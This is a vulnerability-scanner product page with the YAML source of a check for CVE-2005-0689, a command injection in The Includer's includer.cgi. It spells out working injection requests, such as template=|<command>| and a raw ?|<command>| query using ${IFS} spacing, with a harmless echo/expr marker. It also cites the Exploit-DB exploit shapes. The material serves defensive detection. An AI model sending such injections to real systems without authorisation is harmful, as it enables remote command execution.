Includer — 1 vulnerability check

noctis ships 1 vulnerability check for Includer, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

The Includer includer.cgi Command Execution

CVECVE-2005-0689
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/includer/CVE-2005-0689.yaml

Detects unauthenticated command execution in includer.cgi, the Perl CGI of The Includer (smarterscripts.com), versions 1.0 and 1.1 (CVE-2005-0689). The script opens the template named in its query string with Perl's two-argument open(), so a name such as `|<command>|` runs <command> through the shell as the web server user. The feed requests includer.cgi under /includer, /cgi-bin, /cgi-bin/includer, /scripts and the web root with template=|echo NOCTIS`expr a - b`| (per-run random numbers, spaces written as ${IFS}, preceded by a Content-Type line so the output reaches the page body), then, if the script answered without the marker, the same command as the raw query string (includer.cgi?|...|). It reports only when the reply contains NOCTIS followed by the computed difference, which only real shell execution can produce. Nothing is read or written on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/includer.cgi?template=%7Cecho%24%7BIFS%7DContent-Type:%24%7BIFS%7Dtext/plain%…
  3. Checks inj.banner for NOCTIS → finding QoD 97: includer.cgi command execution confirmed via GET …/includer.cgi?template=|echo NOCTIS`expr … - …`|: the shell printed NOCTIS… (a difference…
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/includer.cgi?|echo${IFS}Content-Type:${IFS}text/plain;echo;echo${IFS}NOCTIS`e…
  5. Checks inj2.banner for NOCTIS → finding QoD 97: includer.cgi command execution confirmed via GET …/includer.cgi?|echo NOCTIS`expr … - …`| (raw query string): the shell printed NOCTIS… (a …

References:

Feed source — tests/vulnerabilities/includer/CVE-2005-0689.yaml
# The Includer (smarterscripts.com) includer.cgi command execution (CVE-2005-0689, BID 12738)
#
# Credit: target locations and the template= request adapted from Greenbone's
# `pre2008/includer_rcmdexec.nasl` (GPL-2.0-only), which requests
# <dir>/includer.cgi?template=vt-test under /includer and the CGI dirs, and,
# when the reply holds "document.write", sends template=|id| and looks for the
# uid=/gid= output of `id`.
# Exploit shapes (Exploit-DB 862 / 922 / 923, "The Includer CGI 1.0"):
#   GET /cgi-bin/includer.cgi?template=|<command>|
#   GET /cgi-bin/includer.cgi?|<command>|          (whole query string, raw —
#       EDB 922 writes spaces as $IFS because the query string is not decoded)
#
# Root cause: includer.cgi opens the template named in the query string with
# Perl's two-argument open(); a name wrapped in `|` is run by /bin/sh as a
# pipe and the command's output ends up in the reply.
#
# This feed sends the command
#     echo${IFS}Content-Type:${IFS}text/plain;echo;echo${IFS}NOCTIS`expr${IFS}<a>${IFS}-${IFS}<b>`
# (a = 7-digit, b = 6-digit per-run random ints):
#   * ${IFS} instead of spaces: works whether or not the query string is
#     URL-decoded (EDB 922's trick); every Bourne shell knows ${IFS} and expr.
#   * the Content-Type line + blank line first: with a write pipe (`|cmd|`,
#     leading `|`) the command writes straight to the CGI's stdout, possibly
#     before the script's own header when the Perl is older than 5.6 (newer
#     ones flush STDOUT before forking); Apache would then see "NOCTIS…" as a
#     malformed header and answer 500. With our own header in front, the
#     marker lands in the body either way.
#   * the difference a-b never appears in the request, so a page that reflects
#     or strips the template name cannot produce it.
#   1. template=|<cmd>|  percent-encoded (the reference check's request)
#   2. ?|<cmd>|          raw, only when 1 gave no marker and includer.cgi
#                        answered (not 404) — for builds reading the raw query
#
# Better than the reference check: no `id` output is needed (an inert computed
# marker instead), its "document.write" gate is dropped (an install answering
# 500 to an unknown template is still probed), the raw-query vector is covered,
# and its uid=/gid= regex also matches a page that merely quotes `id` output.
uid: c1b7c0d3-a753-418b-ad3b-9b9901096dfe
name: "The Includer includer.cgi Command Execution (CVE-2005-0689)"
description: |
  Detects unauthenticated command execution in includer.cgi, the Perl CGI of
  The Includer (smarterscripts.com), versions 1.0 and 1.1 (CVE-2005-0689). The
  script opens the template named in its query string with Perl's two-argument
  open(), so a name such as `|<command>|` runs <command> through the shell as
  the web server user. The feed requests includer.cgi under /includer,
  /cgi-bin, /cgi-bin/includer, /scripts and the web root with
  template=|echo NOCTIS`expr a - b`| (per-run random numbers, spaces written
  as ${IFS}, preceded by a Content-Type line so the output reaches the page
  body), then, if the script answered without the marker, the same command as
  the raw query string (includer.cgi?|...|). It reports only when the reply
  contains NOCTIS followed by the computed difference, which only real shell
  execution can produce. Nothing is read or written on the target.
cves: [CVE-2005-0689]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [includer, smarterscripts, cgi, perl, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-0689"
  - "https://www.exploit-db.com/exploits/862"
  - "https://www.exploit-db.com/exploits/922"
  - "http://www.securityfocus.com/bid/12738"

steps:
  # a: 7 digits, b: 6 digits -> 7-digit difference, never equal to an operand.
  - id: gen-tokens
    action: script
    code: |
      let a = rand_int(5000000, 9999999);
      let b = rand_int(100000, 999999);
      #{ a: a, b: b, diff: "" + (a - b) }
    store_as: ov

  # ── Per location (the reference check's dirs + /cgi-bin/includer): this step and every following one ──
  # Pre-initialised so a failed request leaves no undefined variable behind.
  - id: init-template
    action: set_var
    var_name: inj
    var_value: {connected: false, banner: null}
    loop:
      over:
        - "/includer"
        - "/cgi-bin"
        - "/cgi-bin/includer"
        - "/scripts"
        - ""
      var: dir

  - id: init-raw
    action: set_var
    var_name: inj2
    var_value: {connected: false, banner: null}

  # template=|echo${IFS}Content-Type:${IFS}text/plain;echo;echo${IFS}NOCTIS`expr${IFS}a${IFS}-${IFS}b`|
  - id: inject-template
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/includer.cgi?template=%7Cecho%24%7BIFS%7DContent-Type:%24%7BIFS%7Dtext/plain%3Becho%3Becho%24%7BIFS%7DNOCTIS%60expr%24%7BIFS%7D{{ov.a}}%24%7BIFS%7D-%24%7BIFS%7D{{ov.b}}%60%7C HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10   # connect only; the reply is read for 3 s (checks/tcp.rs)
    store_as: inj

  - id: confirm-template
    action: match
    source: inj.banner
    pattern: "NOCTIS"
    condition: "type_of(inj.banner) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", inj.banner)"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "includer.cgi command execution confirmed via GET {{dir}}/includer.cgi?template=|echo NOCTIS`expr {{ov.a}} - {{ov.b}}`|: the shell printed NOCTIS{{ov.diff}} (a difference absent from the request) in the reply"
      stop: true

  # ?|<same command>| raw — only when includer.cgi answered (not 404) without the marker.
  - id: inject-raw
    action: tcp_connect
    condition: "type_of(inj.banner) == \"string\" && ereg(\"^HTTP/1\\\\.[01] \", inj.banner) && !ereg(\"^HTTP/1\\\\.[01] 404\", inj.banner)"
    port: "{{port}}"
    send: "GET {{dir}}/includer.cgi?|echo${IFS}Content-Type:${IFS}text/plain;echo;echo${IFS}NOCTIS`expr${IFS}{{ov.a}}${IFS}-${IFS}{{ov.b}}`| HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10   # connect only; the reply is read for 3 s (checks/tcp.rs)
    store_as: inj2

  - id: confirm-raw
    action: match
    source: inj2.banner
    pattern: "NOCTIS"
    condition: "type_of(inj2.banner) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", inj2.banner)"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "includer.cgi command execution confirmed via GET {{dir}}/includer.cgi?|echo NOCTIS`expr {{ov.a}} - {{ov.b}}`| (raw query string): the shell printed NOCTIS{{ov.diff}} (a difference absent from the request) in the reply"
      stop: true

View these feeds on GitHub